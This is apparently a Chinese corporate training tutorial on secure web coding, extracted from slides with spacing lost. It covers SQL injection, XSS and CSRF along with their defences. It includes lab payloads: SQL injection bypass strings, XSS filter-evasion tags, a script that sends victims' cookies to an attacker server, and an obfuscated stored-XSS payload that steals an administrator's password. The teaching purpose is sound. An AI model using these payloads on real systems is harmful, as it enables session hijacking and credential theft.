网络安全开发培训教程

网络开发安全技术培训教程目录

概述为什么要重视WEB安全技术Web系统逐渐成为企业安全边界之一Web应用攻击场景

WEB应用攻击动机…

WEB代码常见的安全问题程序安全开发流程

程序开发安全具体措施平台部署与维护具体措施为什么要重视WEB的安全漏洞

现在我们公司很多的平台是依赖于互联网构建核心业务的，当前在现实世界中，针对网站的攻击愈演愈烈，频频得手。

“目前，75%的攻击发生在WEB应用层”

—国际权威机构Gartner“2006年前9个月内新发现4,375个漏洞.Web漏洞是其中最普遍的三类之一.”

—MitreCorp,09/2006，CVE的维护者 “产品的定制开发是应用安全中最薄弱的一环”.

—GartnerWeb系统逐渐成为企业安全边界之一防火墙加固OSWeb服务器应用服务器数据库WebServices文件目录其它关联系统WEB应用程序WEB应用层攻击仅仅使用网络层的防护手段(防火墙,SSL,IDS,IPS,加固)无法阻止或检测到WEB应用层攻击

网络层应用层应用层作为安全边界的一部分，或许有巨大的漏洞防火墙IDS

IntrusionDetectionSystems，入侵检测系统IPSIntrusionPreventionSystem,入侵防御系统Web应用攻击场景攻击动机攻击方法攻击工具漏洞系统防范措施攻击面（attacksurface）Web服务器黑客劫持机安全系统Web攻击动机常见Web攻击动机恶作剧；关闭Web站点，拒绝正常服务；篡改Web网页，损害企业名誉；免费浏览收费内容；盗窃用户隐私信息，例如Email；以用户身份登录执行非法操作，从而获取暴利；以此为跳板攻击企业内网其他系统；网页挂木马，攻击访问网页的特定用户群；仿冒系统发布方，诱骗用户执行危险操作，例如用木马替换正常下载文件，要求用户汇款等；……Web攻击方法收集系统相关的通用信息将系统所有能访问页面，所有的资源，路径展现出来URL、口令、数据库字段、文件名都可以暴力猜解，注意利用工具；利用Web漏洞扫描器，可以尽快发现一些明显的问题错误可能泄露服务器型号版本、数据库型号、路径、代码；搜索Google，CVE,BugTraq等漏洞库是否有相关的漏洞服务器后台管理页面，路径是否可以列表等是否可以上传恶意代码？是否可以任意下载系统文件？检查所有可以输入的地方：URL、参数、Post、Cookie、Referer、Agent、……系统是否进行了严格的校验？HTTP协议是文本协议，可利用回车换行做边界干扰用户输入是否可以影响服务器的执行？需要特殊工具才能利用这些攻击点复杂的业务逻辑中是否隐藏漏洞？常见Web攻击方法Googlehack网页爬行暴力猜解Web漏洞扫描错误信息利用根据服务器版本寻找现有的攻击代码利用服务器配置漏洞文件上传下载构造恶意输入（SQL注入攻击、命令注入攻击、跨站脚本攻击）HTTP协议攻击拒绝服务攻击其他攻击点利用（WebServices,Flash,Ajax,ActiveX,JavaApplet）业务逻辑测试……访问资源名称GET与POST参数Referer与UserAgentHTTP方法CookieAjaxWebServiceFlash客户端JavaAppletWeb攻击面：不仅仅是浏览器中可见的内容POST/thepage.jsp?var1=page1.htmlHTTP/1.1Accept:*/*Referer:http:///index.htmlAccept-Language:en-us,de;q=0.5Accept-Encoding:gzip,deflateContent-Type:application/x-www-url-encodedContent-Lenght:59User-Agent:Mozilla/4.0Host:www.Connection:Keep-AliveCookie:JSESSIONID=0000dITLGLqhz1dKkPEtpoYqbN2uid=fred&password=secret&pagestyle=default.css&action=login直接可在浏览器中利用的输入所有输入点更多输入点黑客实际利用的输入点http请求头域HTTP域变量的说明Host头域

Host头域指定请求资源的Intenet主机和端口号，必须表示请求url的原始服务器或网关的位置。HTTP/1.1请求必须包含主机头域，否则系统会以400状态码返回。Referer头域

Referer头域允许客户端指定请求uri的源资源地址，这可以允许服务器生成回退链表，可用来登陆、优化cache等。他也允许废除的或错误的连接由于维护的目的被追踪。如果请求的uri没有自己的uri地址，Referer不能被发送。如果指定的是部分uri地址，则此地址应该是一个相对地址Range头域 Range头域可以请求实体的一个或者多个子范围。例如， *表示头500个字节：bytes=0-499 *表示第二个500字节：bytes=500-999 *表示最后500个字节：bytes=-500 *表示500字节以后的范围：bytes=500- *第一个和最后一个字节：bytes=0-0,-1*同时指定几个范围：bytes=500-600,601-999

但是服务器可以忽略此请求头，如果无条件GET包含Range请求头，响应会以状态码206（PartialContent）返回而不是以200（OK）。User-Agent头域

User-Agent头域的内容包含发出请求的用户信息。

开发者的关注点而Web系统的安全性参差不齐……复杂应用系统代码量大、开发人员多、难免出现疏忽；系统屡次升级、人员频繁变更，导致代码不一致；历史遗留系统、试运行系统等多个Web系统共同运行于同一台服务器上；开发人员未经过安全编码培训；定制开发系统的测试程度不如标准的产品；……客户满意界面友好操作方便处理性能实现所有功能架构合理代码修改方便运行稳定没有bug不同模块低耦合相对安全性而言，开发人员更注重系统功能！开发进度与成本WEB安全的漏洞报告平台和开源合作组织通过WooYun查询到的中国移动的安全漏洞情况如下图所示：

OWASP

OWASP=OpenWebApplicationSecurityProject，OWASP是最权威的Web应用安全开源合作组织，其网站上有大量的Web应用安全工具与资料。WooYun（/index.php）是一个位于厂商和安全研究者之间的漏洞报告平台，你可以通过这个平台来接受大家报告漏洞也可以通过这个平台来报告漏洞WebScarab是OWASP组织推出的开源工具，可应用于一切基于HTTP协议系统的调试与攻击；Web攻击漏洞：安全漏洞库Securityfocus网站的漏洞库名称为Bugtraq，它给每个漏洞编号叫BugtraqID。它的网址为：/bid。Cve是和Bugtraq齐名的漏洞库，它给漏洞库编号叫CVEID，它的网址为：/。

CVE与Bugtraq漏洞库都会对确认的漏洞进行统一编号，其编号是业界承认的统一标准，有助于避免混淆。在这些漏洞库中都可以查到大量的Web应用漏洞。目录

概述

WEB代码常见的安全问题SQL注入跨站脚本漏洞(XSS)跨站点请求伪造（CSRF）

其他验证不充分的漏洞其他类型的问题（逻辑缺陷、错误处理不当…)程序开发安全具体措施平台部署与维护具体措施程序安全开发流程Web代码常见的安全问题有哪些（一）分类常见漏洞后果1.输入输出验证不充分SQL注入如果Web应用没有对攻击者的输入进行适当的编码和过滤，就用于构造数据库查询时，可能导致注入漏洞。

攻击者可利用注入漏洞诱使Web应用执行未预见的数据库查询（即SQL注入攻击）。命令注入与SQL注入类似，攻击者可利用注入漏洞诱使Web应用执行未预见的命令（即命令注入攻击）或数据库查询（即SQL注入攻击）。跨站脚本漏洞(XSS)攻击者可利用XSS在其他用户的浏览器中运行恶意脚本，偷窃用户的会话，或是偷偷模拟用户执行非法的操作；跨站点请求伪造（CSRF）CSRF攻击即攻击者在用户未察觉的情况下，迫使用户的浏览器发起未预见的请求，其结果往往损害用户本身的利益。恶意代码执行

（文件包含漏洞/文件上传验证不充分）如果Web应用允许用户上传文件，对上传文件名未作适当的过滤时，用户可能上载恶意的脚本文件（如ASP，PHP等）；

脚本文件在Include子文件时，如果Include路径可以被用户输入影响，那么可能造成实际包含的是黑客指定的恶意代码；对象直接引用

（文件下载验证不充分）访问内部资源时，如果访问的路径（对文件而言是路径，对数据库而言是主键）可被攻击者篡改，而系统未作权限控制与检查的话，可能导致攻击者利用此访问其他未预见的资源；整数溢出int变量计算越界，溢出了。Java浮点数拒绝服务漏洞float变量越界XPath注入攻击一些人已经使用XML文档代替更传统的纯文本文件或关系数据库，但XML应用程序容易受XPath注入攻击Web代码常见的安全问题有哪些（二）分类常见漏洞2.逻辑缺陷越权操作验证绕过程序流程失误变量注册顺序JS劫持随机数生成API调用缺陷3.容错处理不当泄露系统信息4.工作平台安全特性Apache文件名解析漏洞Nginx文件名解析漏洞Struts2框架任意代码执行FLASH安全策略输入输出验证原则验证内容验证所有来源的输入（get/post/cookie/server变量/配置文件）验证所有输出到客户端的内容，输出数据HTML编码.建立可信边界验证方法验证数据的长度、大小、格式、类型以及内容使用服务器端代码做最终验证（注：客户端脚本可以被篡改，如果为了顾全体验，部分重要数据一定要用服务器验证。）不使用黑名单验证数据(最好采用白名单进行验证，类似防火墙的最小权限策略）数据非法，程序停止执行，切勿试图修正数据。（可以避免二次攻击）目录

概述

WEB代码常见的安全问题SQL注入跨站脚本漏洞(XSS)跨站点请求伪造（CSRF）

其他验证不充分的漏洞其他类型的问题（逻辑缺陷、错误处理不当…)程序开发安全具体措施平台部署与维护具体措施程序安全开发流程

SQL注入(SQLInjection)定义：由于程序中对用户输入检查不严格，用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQLInjection，即SQL注入。原因分析其本质是对于输入检查不充分，导致SQL语句将用户提交的非法数据当作语句的一部分来执行。由于我们的部分WEB应用，采用Jsp+JavaBean或SSH框架，代码中会有直接写SQL（或HQL）语句，而有些SQL是用拼串实现的。风险SQL盲注：如果系统屏蔽了详细的错误信息，那么对攻击者而言就是盲注入，可能会查看、修改或删除数据库条目和表使用SQL注入的认证旁路：可能会绕开Web应用程序的认证机制SQL注入：数字参数(一)/login.asp管理员管理员程序员考虑的场景:Username:adminPassword:p@$$w0rdSELECTCOUNT(*)FROMUsersWHEREusername='admin'andpassword='p@$$w0rd'登录成功！程序员未预料到的结果……Username:admin'OR1=1--Password:1SELECTCOUNT(*)FROMUsersWHEREusername='admin'OR1=1--

'andpassword='1'SQL注入：数字参数（二）/login.jsp攻击者登录成功！‘是SQL字符串变量的定界符攻击关键通过定界符成功地将攻击者的意图注入到SQL语句中！通过注释保证SQL语句正确！--是MSSQL的注释符ORACLE：

用户名字段中输入：‘or’1‘=’1‘or’1‘=’1

或是在密码字段中输入：

1'or'1'='1SQL注入：数字参数（三）管理员程序员考虑的场景:age:20SELECTname,age,locationFROMUsersWHEREage>20程序员未预料到的结果……age:1000000unionselectname,age,passwordfromusersSELECTname,age,locationFROMUsersWHEREage>999union

selectname,age,passwordfromusersFact：大多数程序员都注意到了’的问题，他们用’’来代替用户输入的’，从而防止字符串SQL注入；但很多人缺忽略了同样严重的数字注入问题。其防范方法是检查用户输入的数字是否合法。Union暴库是常见的注入方法Union语法要求前后两句SQL中Select的数据项类型和数量一致;这两句sql都符合string,int,string的模式>999是不可能符合的条件，这样union的结果就只剩第二句sql查询的内容SQL注入：规避SQL注入严格限定参数类型

明确参数检验的边界，必须在服务端执行数据验证采用参数化查询的方法（推荐）内置过滤系统（本质是黑名单，很常见但是不推荐）SQL注入：安全编码安全编码不难，真正困难的是如何做到全面安全，这需要良好的程序设计以及编码习惯。支离破碎的设计与随意混杂的编码难以开发出安全的系统。各种语言与数据库的实际情况也有所区别，所以需要具体问题具体分析。1.输入验证数字型的输入必须是合法的数字；字符型的输入中对’进行特殊处理；验证所有的输入点，包括Get，Post，Cookie以及其他HTTP头；2.使用符合规范的数据库访问语句正确使用静态查询语句，如PreparedStatementSQL注入：PreparedStatement在JSP中要禁止使用Statement，如下的代码会导致SQL注入：BubbleStringsql=“select*fromUserswherename=”+name;

PreparedStatementpstmt=con.prepare(sql);Stringsql=“select*fromproductwherecat=’?’andprice>’?’”

PreparedStatementpstmt=con.prepare(sql);

pstmt.setInt(1,request.getParameter(“cat”));

pstmt.setString(2,request.getParameter(“price”));

ResultSetrs=pstmt.executeQuery();Statementstmt=con.createStatement();stmt.executeUpdate("select*fromUserswherename="+name);应当全部使用PreparedStatement来防止SQL注入但是在使用PreparedStatement，也要注意符合编码规范，如下的方法也会导致SQL注入：安全危险危险SQL注入：数据库加固除了在代码设计开发阶段预防SQL注入外，对数据库进行加固也能够把攻击者所能造成的损失控制在一定范围内；主要包括：最小权限原则，禁止将任何高权限帐户（例如sa，dba等等）用于应用程序数据库访问。更安全的方法是单独为应用创建有限访问帐户。拒绝用户访问敏感的系统存储过程，如前面示例的xp_dirtree,xp_cmdshell等等；限制用户所能够访问的数据库表；目录

概述

WEB代码常见的安全问题SQL注入跨站脚本漏洞(XSS)跨站点请求伪造（CSRF）

其他验证不充分的漏洞其他类型的问题（逻辑缺陷、错误处理不当…)程序开发安全具体措施平台部署与维护具体措施程序安全开发流程跨站脚本漏洞(XSS)定义

它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常忽略其危害性。分类持久型XSS（Persistent），与非持久型XSS相反，它是指通过提交恶意数据到服务器，通过Web应用程序输出恶意数据输出到页面，持久型XSS多出现在Web邮箱、BBS、社区等从数据库读出数据的正常页面（比如BBS的某篇帖子中可能就含有恶意代码）非持久型XSS（Non-persistent），即反射型,它是指那些浏览器每次都要在参数中提交恶意数据才能触发的跨站脚本漏洞。

XSS本质是在于执行脚本[javascript/html等]，攻击者的js能力越强攻击效果越惊人！持久XSS-攻击简介（PersistentXSS）1.正常服务器信息2.服务器存储恶意代码3.用户浏览网页4.服务器将恶意代码返回给用户5.客户端浏览器执行恶意代码攻击者普通用户客户端Web服务器在论坛发帖子：免费获取Q币！！！<script>恶意代码</script>重要通知Re:沙发！！Re:地板？Re:地下室沙发……Re:地下室地板-_-!!Re：免费获取Q币！！！内容：<script>恶意代码</script>Re:谁又发垃圾广告啦？恶意代码执行！21345持久XSS攻击实验(一)Step1.以test用户登录培训论坛发表新帖子，内容如下：<script>alert(‘hello’)</script>学员练习3Min持久XSS攻击实验Step2.以admin用户登录培训论坛浏览刚才那个新帖子。学员练习3Min恶意代码执行！浏览器浏览器Outlook正常访问恶意代码隐藏在链接中“reflected”代码1反射XSS-攻击简介（ReflectedXSS）From:攻击者To:用户免费赠送Q币！！！CLICKHERE恶意代码安全上下文:目标站点普通合法会话安全上下文:目标站点攻击者Web服务器普通用户客户端12345恶意代码执行！反射XSS攻击实验(一)Step1.以test用户登录培训论坛发表新帖子，在浏览器网址处修改Forum_Title参数，观察结果：学员练习3MinURL中的字符通过服务器“反射”到浏览器中反射XSS攻击实验(二)Step1.把Forum_Title修改为：<script>alert(‘hello’)</script>学员练习3MinURL中的字符通过服务器“反射”到浏览器中恶意代码执行！XSS:两种类型总结XSS包括两种类型：持久式XSS：恶意代码持久保存在服务器上。即Persistent。反射式XSS：恶意代码不保留在服务器上，而是通过其他形式实时通过服务器反射给普通用户。 XSS漏洞可利用的标志就是“Hello!”，一旦示意代码可以在用户的浏览器中执行，其后可实现的攻击行为与来源是持久还是反射无关。可以利用XSS发起CSRF攻击或盗取用户身份。XSS漏洞：sinaweiboxss蠕虫事件分析黑客利用了微博广场页面/pub/star的一个URL注入了js脚本，其通过163有道的短链接服务http://163.fm/PxZHoxn，将链接指向：/pub/star/g/xyyyd"><scriptsrc=//images/t.js></script>?type=update（上面URL中的其实就是：<scriptsrc=///images/t.js></script>）当新浪登陆用户不小心访问到相关网页时，由于处于登录状态，会运行这个js脚本做几件事情：a.发微博（让更多的人看到这些消息，自然也就有更多人受害）；

b.加关注，加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了；

c.发私信，给好友发私信传播这些链接；详见/?p=100新浪XSS事件

2011年6月28日，新浪微博出现了一次比较大的XSS攻击事件。三万多用户自动发送诸如：“郭美美事件的一些未注意到的细节”，“惊爆!范冰冰艳照真流出了”等等微博和私信，并自动关注一位名为hellosamy的用户[JS代码参考]：结论：他是利用了反射型XSS并通过短域名隐藏了xss代码

把一段脚本注入到服务器上，用户访问方法服务器的某个URL，这个URL就会把远端的js注入进来，这个js有可能自动进行很多操作。比如这次事件中的帮你发微博，帮你发站内消息等统一输入处理并不能完全考虑到输出语境的不同，例如有时会输出为文本文件，经过html编码的语句在文本文件中会出现乱码；而且可能存在其他来源的数据，例如其他接口系统，历史残留数据等，无法通过输入处理解决。在不允许html执行的语境中，采用编码是相对安全的解决方法。但是如果输入被用于构造javascript语句，html编码则无法解决问题。当您需要允许少数的html标签子集时，只能采用过滤的方法。但是由于HTML的复杂性以及浏览器的松散解释特性，攻击者常常可以找到绕过过滤的方法。XSS漏洞：编码阶段防范措施在设计开发阶段就考虑XSS问题，是最有效的防范办法；Bubble输出是XSS最终生效的地方，因此在此处理是最全面的。但输出往往需要开发者逐个处理，因此非常繁琐，一旦开发者疏忽，就容易造成漏洞。输入编码输入过滤输出编码输出过滤编码：直接将HTML标签最关键的字符<>&编码为<>&过滤：将script,style,iframe,onmouseover等有害字符串去掉，但是保留<>&，因为需要有限地支持一些基本的标签各种方法都有优劣之处，防范XSS的真正挑战在于全面。XSS漏洞：过滤是最低效的方法如果只采用过滤，很难考虑完备：<SCRIPT>alert("XSS");</SCRIPT><SCRIPTSRC=/xss.js></SCRIPT><IMGSRC=JaVaScRiPt:alert("XSS")>¼script¾alert(¢XSS¢)¼/script¾<IMGSRC=javascript:alert('XSS')><STYLE>@import'/xss.css';</STYLE><EMBEDSRC=/xss.swfAllowScriptAccess="always"></EMBED>更多实例可见：/xss.html综合起来有91种HTML标签,十多种编码方式,数种对象类型…MySpace即采用的过滤XSS漏洞：转义Stringtitle=request.getParameter(“title”);Stringid=request.getParameter(“id”);….<span><%=title%></span><span><%=contect%></span>Stringtitle=request.getParameter(“title”);Stringid=request.getParameter(“id”);….<span><%=xss.HtmlEncoder(title,”HTML”)%></span><span><%=xss.HtmlEncoder(contect,”HTML”)%></span>把输入的值转义成html代码对策：转义比过滤更好安全危险XSS漏洞：防范措施总结一.过滤：有时候过滤会导致意外的结果，例如alice’s变成了alices。有时候需要多次过滤，例如<scrip<script>t>过滤掉<script>后还是<script>。需要注意多个过滤器的先后次序。当多个过滤器一起生效时，有可能后进行的过滤导致前面的过滤失效。例如过滤器1要过滤ABC，过滤器2要过滤DEF，那么ABDEFC在依次通过1，2过滤器后变成了ABC，这样相当于绕开过滤器1。二.输入编码：输入编码往往可以有全局的解决方案，从设计的角度来看，这是最佳的。一旦数据已经入库，就难以用输出编码处理。三.输出编码：输出编码有助于开发者细粒度控制输出，但也导致了工作量的增加。输出编码可以解决输入编码无法处理的已入库数据。四.用户安全加固：小心点击来源不明的URL。对浏览器进行安全加固，例如禁止ActiveX。永远不要点击自动登录信息！目录

概述

WEB代码常见的安全问题SQL注入跨站脚本漏洞(XSS)跨站点请求伪造（CSRF）

其他验证不充分的漏洞其他类型的问题（逻辑缺陷、错误处理不当…)程序开发安全具体措施平台部署与维护具体措施程序安全开发流程

跨站请求伪造(cross-siterequestforgery)通常缩写为XSRF。攻击流程XSRF攻击流程如上图所示，从上图可以看出，要完成一次XSRF攻击，比较关键的三个问题：

1)会话状态[A]的保持，即用户已经获取了易受攻击网站A的信任授权。

2)用户在依然保持没有登出易受攻击网站A的情况下，访问了“第三方网站”。

3)提交的“操作”数据包是可以预知的。跨站请求伪造（XSRF

）风险

可能会窃取或操纵客户会话和

cookie，它们可能用于模仿合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务

原因分析

应用程序使用的认证方法不充分典型攻击方式在页面中加入一个<img>标签，浏览器就会发送一个请求，以获取其src属性引用的值。攻击者将敏感操作的URI作为src继承Cookie，以浏览者的身份作敏感访问并操作危害：在用户无意识情况下进行危险操作跨站请求伪造（XSRF）诞生于2000年，火于2007/2008年90%的网站存在此类漏洞CSRF：案例1案例1：A站点上的代码A站点代码：恶意站点上的代码<imgsrc=http://siteA/updateuser.jsp?user=admin&pass=123456>Stringuser=request.getParameter(“user”);Stringpass=request.getParameter(“pass”);PreparedStatementps=con.prepareStatement(“updateUserTBsetpassword=?Whereuser=?”);ps.setString(1,user);ps.setString(2,pass);con.executeUpdate();CSRF：案例2案例2：支持通过保留cookie自动登录的功能，这样在cookie有效期内，用户访问就会以他们上次在此主机登录的用户名自动登录（例如Gmail的Remembermeonthiscomputer）。另外，上有个链接可以通过get直接给指定对象转账，例如：/transfer.do?acct=Alice&amout=1，只要Bob登录并访问这个链接，就会自动向Alice转账1元。现在Alice发送给Bob一份邮件，里面嵌入如下的图像标签：<imgsrc="/transfer.do?acct=Alice&amount=100"width=“0"height=“0"border="0">当Bob打开邮件时，他不知道这个恶意的HTML标签已经从他账户里转账100元到Alice。解决方案检查

HTTP头部

Refer信息

Server端在收到请求之后，可以去检查这个头信息，只接受来自本域的请求而忽略外部域的请求使用一次性令牌每个请求都带上一个由服务器生成的随机参数。然后在服务器端核对该参数，如果和下发的随机数不同，则可以认为有人在伪造请求。因为攻击者无法知道他本次攻击的http请求需要带什么样的随机数才是有效的。使用验证图片图片验证信息很难被恶意程序在客户端识别，因此能够提高更强的保护

判断HTTP请求类型

采用request.getMethod()判断请求的方式是否POST

直接获取数据对request再次封装,直接获取form的数据不接收URL的，request.getForm(“user”)XSRF：规避方法CSRF与XSS的区别XSS：恶意脚本通过服务器回显到用户浏览器中执行。CSRF：（可能是恶意脚本，也可能是恶意的HTML标签；可能经过服务器的回显，也可能完全不经过）使得浏览器发起了攻击性的请求。前面的案例2是一个典型的CSRF:没有脚本，没有服务器回显，但伪造了一个攻击性的请求。您也可以把他们视为同类，都是在攻击者、网站、受害者（浏览器）三个Player间，利用HTML的特性（标签或是脚本），实现的攻击性行为。XSS更像漏洞，CSRF更像攻击；只要有XSS，就可以发起CSRF类似攻击。下面通过两个对比案例的实践来体会一下XSS和CSRF的区别XSSCase1:反射XSS偷窃CookieStep1.准备工作：攻击者本机需要安装WebServer(以Apache为例)，确认受害者能够连接到该服务器(如下图第5点所示)；启动apache服务器；将a.js拷贝到apache/htdocs目录下，并本地试验能够下载http://ip/a.js文件学员练习15Min浏览器浏览器Outlook正常访问恶意代码隐藏在链接中“reflected”代码1免费赠送Q币！！！CLICKHERE安全上下文:目标站点安全上下文:目标站点攻击者Web服务器受害者客户端12345恶意代码执行！XSSCase1:反射XSS偷窃Cookiea.js内容如下：学员练习15Min攻击者Web服务器URL大小为0的iframe，增强隐蔽性将字符编码传送varcode;vartarget="/?";

info=escape(document.cookie);target=target+info;code="<iframestyle='display:none;'src=";code=code+target;code=code+"width=0height=0></iframe>";document.write(code);XSSCase1:反射XSS偷窃CookieStep2-a.本地试验：本机访问培训论坛，并访问发帖页面将Forum_Title修改为<scriptsrc="/a.js"></script>访问这个链接学员练习15MinXSSCase1:反射XSS偷窃CookieStep2-b.本地试验：打开Apache/log/目录，查看access.log的修改时间就是刚才；打开access.log文件，检查最后一条是否如下：学员练习15Min--[24/Sep/2007:18:09:17+0800]"GET/?Snitz00User%3DCookies%3D%26Pword%3Dtest%26Name%3Dtest%3B%20%252Fbbs%252Fpaging%3Doutbox%3Ddouble%3B%20iscookies%3D0%3B%20BoardList%3DBoardID%3DShow%3B%20ASPSESSIONIDACDDASQD%3DEEOFEIKDNMPMNBKKJMPGENGE%3B%20%252Fbbs%252FstrSelectSizeHTTP/1.1"20044XSSCase1:反射XSS偷窃CookieStep3-a.模拟钓鱼由于链接中含有脚本，容易引起用户怀疑，解决办法是进行URL编码打开encode.htm，注意允许脚本执行将script拷贝到ASCIIText中，点击Encode，结果显示在URL中学员练习15MinURL编码可以增强脚本隐蔽性注意：script后面如果有%20，请用空格代替XSSCase1:反射XSS偷窃CookieStep3-b.模拟钓鱼将链接附在帖子中，吸引用户访问。当然也可以直接给用户发邮件；学员练习15Min实际效果图XSSCase1:反射XSS偷窃CookieStep4.模拟管理员操作为了改善演示效果，请切换至另外一台主机以管理员身份登录；点击刚才的链接；学员练习15MinXSSCase1:反射XSS偷窃CookieStep5-a.盗窃Cookie切换回攻击者主机观察access.log文件是否更新过，提取出最新一段内容学员练习15Min--[24/Sep/2007:18:22:04+0800]"GET/?Snitz00User%3DCookies%3D%26Pword%3Dadmin%26Name%3Dadmin%3B%20ASPSESSIONIDACDDASQD%3DGEOFEIKDEHDPHOLKLODCHPDL%3B%20%252Fbbs%252FstrSelectSizeHTTP/1.1"20044Step5-b.管理员已经执行了恶意代码并将其cookie发送给攻击者由于经过escape编码，因此再利用encode.htm进行一次解码将上面记录的Snitz开始到Size结束的内容拷贝到URL中，点击Decode结果在ASCIIText中XSSCase1:反射XSS偷窃CookieStep6.更改Cookie访问论坛页面，无需登录启动WebScarab，设置IE代理为WebScarab点中WebScarab的InterceptResponse功能访问任意论坛链接，修改WebScarab拦截页面学员练习15Min修改前增加Set-Cookie:<解码的内容>XSSCase1:反射XSS偷窃CookieStep7.结果确认修改后，取消WebScarab的拦截功能访问任意链接，攻击者成功窃取到admin的身份学员练习15Min关于session与cookie可以参考下面的文字：/wfdmd/archive/2006/03/06/616646.aspxXSSCase1:反射XSS偷窃CookieStep8：这里是为了演示反射XSS而特意准备的链接，其实test直接发表如下的帖子，任何浏览此帖子的人都会自动把cookie发给他，而且整个过程是完全自动且隐蔽的。帖子内容如下：<imgid=“test”width=0height=0><script>document.all.test.src=“/?”+document.cookie;</script>这样修改后就是持久XSS进行CSRF攻击的实例。下面会演示一个完整的CSRF攻击。学员练习15MinXSSCase2:持久XSSCSRF下面演示持久XSS实现CSRF的例子。在大家的培训目录/CSRF/下有一个CSRF.txt文件，其内容是一段不换行的Javascript代码。后面会简单对此进行分析，首先我们来观察效果：学员练习3Min<DIVid=csrfstyle="BACKGROUND:url(javascript:eval(document.all.csrf.code))"code="varchr=find(document.body.innerHTML,'style=','BACKGROUND');varJ;main();functionmain(){J=getXMLObj();httpSend('privatesend.asp?method=Topic',postcsrf,'GET');}functionfind(BF,BB,BC){varR=BF.indexOf(BB)+BB.length;varS=BF.indexOf(BC,R+1);returnBF.substring(R,S);}functionhttpSend(BH,BI,BJ,BK){if(!J){returnfalse;}J.onreadystatechange=BI;J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length);}J.send(BK);returntrue;}functionpostcsrf(){if(J.readyState!=4){return;}varAU=J.responseText;varAS=newArray();AS['Method_Type']='Topic';AS['cookies']='yes';AS['Subject']='password';AS['sendto']='test';AS['UserName']=find(AU,'name='+chr+'UserName'+chr+'type='+chr+'hidden'+chr+'value='+chr,chr);AS['Password']=find(AU,'name='+chr+'Password'+chr+'type='+chr+'hidden'+chr+'value='+chr,chr);AS['Message']=AS['Password'];J=getXMLObj();httpSend('privatesend_info.asp',stop,'POST',paramsToString(AS));}functiongetXMLObj(){varZ=false;if(window.XMLHttpRequest){try{Z=newXMLHttpRequest();}catch(e){Z=false;}}elseif(window.ActiveXObject){try{Z=newActiveXObject('Msxml2.XMLHTTP');}catch(e){try{Z=newActiveXObject('Microsoft.XMLHTTP');}catch(e){Z=false;}}}returnZ;}functionstop(){return;}functionparamsToString(AV){varN=newString();varO=0;for(varPinAV){if(O>0){N+='&';}varQ=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B');}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26');}N+=P+'='+Q;O++;}returnN;}"></DIV>如果代码中有换行，在发表帖子时系统会自动追加<BR><P>这样的字符，导致语法错误！此外，不换行也是缩短代码长度的好方法。XSSCase2:持久XSSCSRF以test身份登录，发表帖子，内容是刚才的代码。在另外一台主机以Admin身份登录，浏览刚才test发表的帖子。test查看自己的收件箱：学员练习3MinAdmin把密码发过来了这是刚才自己浏览自己帖子时发送的学员练习3MinXSSCase2:如果不成功，可能IE安全设置较高由于演示中利用到了XMLHTTP，因此需要确认浏览器允许ActiveX控件的运行。选中Internet，点击Default，或者点Custom逐项配置IE在缺省状态下允许XMLHTTP的执行，这个函数是Ajax与SOAP技术的基石。只有少数经过安全加固的电脑才需要额外进行这部操作。具体需要Enable的三项分别是：ActiveXcontrolsandplug-ins下面两项：RunActiveXcontrolsandplug-ins=Enable;ScriptActiveXcontrolsmarkedsafeforscripting=Enable;Scripting下面一项：Activescripting=EnableXSSCase2:代码分析代码主体部分如下：<DIVid=csrfstyle="BACKGROUND:url(javascript:eval(document.all.csrf.code))"code=“……"></DIV>Code中……是具体的代码，真正执行入口如下：varJ;main();functionmain(){J=getXMLObj();httpSend('privatesend.asp?method=Topic',postcsrf,'GET');}获取XMLHttpRequest对象functionhttpSend(BH,BI,BJ,BK){if(!J){returnfalse;}J.onreadystatechange=BI;J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length);}J.send(BK);returntrue;}读取发消息页面内容，并在读取完毕后转到postcsrf函数XSSCase2:代码分析Postcsrf()在获取privatesend.asp请求返回内容后，在返回页面中寻找password字段，并以此作为短消息主体，最后POST到privatesend_info.asp：之所以要先GET再POST，原因是POST表单中有些内容必须事先通过GET获取。functionpostcsrf(){if(J.readyState!=4){return;}varAU=J.responseText;varAS=newArray();AS['Method_Type']='Topic';AS['cookies']='yes';AS['Subject']='password';AS['sendto']='test';AS['UserName']=find(AU,'name='+chr+'UserName'+chr+'type='+chr+'hidden'+chr+'value='+chr,chr);AS['Password']=find(AU,'name='+chr+'Password'+chr+'type='+chr+'hidden'+chr+'value='+chr,chr);AS['Message']=AS['Password'];httpSend('privatesend_info.asp',stop,'POST',paramsToString(AS));}工具方法：在返回的网页中搜索特定的内容Chr=“，为了避免与code外的””冲突，用变量代替XSSCase2:代码分析下图是编写代码时，预先仿照test发送消息，通过webscarab捕获其post字段的内容。postcsrf函数中的代码负责填写这些字段。XSSCase1Case2总结Case1：在受害者浏览器中通过<scriptsrc=“http://attackerIP/a.js”></script>包含了攻击者服务器上的a.js并且执行；在执行过程中通过<iframesrc=http://attackerIP/?+cookie></iframe>的方式将cookie发送给攻击者Case2：在受害者浏览器中通过XmlHttpRequest控件Get到http://ServerIP/somepage，从返回的页面中提取必要信息，再利用XmlHttpRequest控件Post到http://ServerIP/somepage恶意代码都在后台执行；Case1中，通过script,frame等html标签成功地获取了attackerIP网站的脚本并执行，且能够返回信息到attackerIP。Case2中，XmlHttpRequest(简称XHR)只能对同domain的网页进行get,post操作，这来自于浏览器的同源策略。可以请求来自于DomainB的图片/JavaScript/CSS可以无限次地在后台发起XMLHttpRequest到DomainA，并读取返回的结果可以操作DomainA其他frames/iframes/弹出窗口的内容不能发送XMLHttpRequest到DomainB不能操作DomainB其他frames/iframes/弹出窗口能与DomainA上的其他页面交互

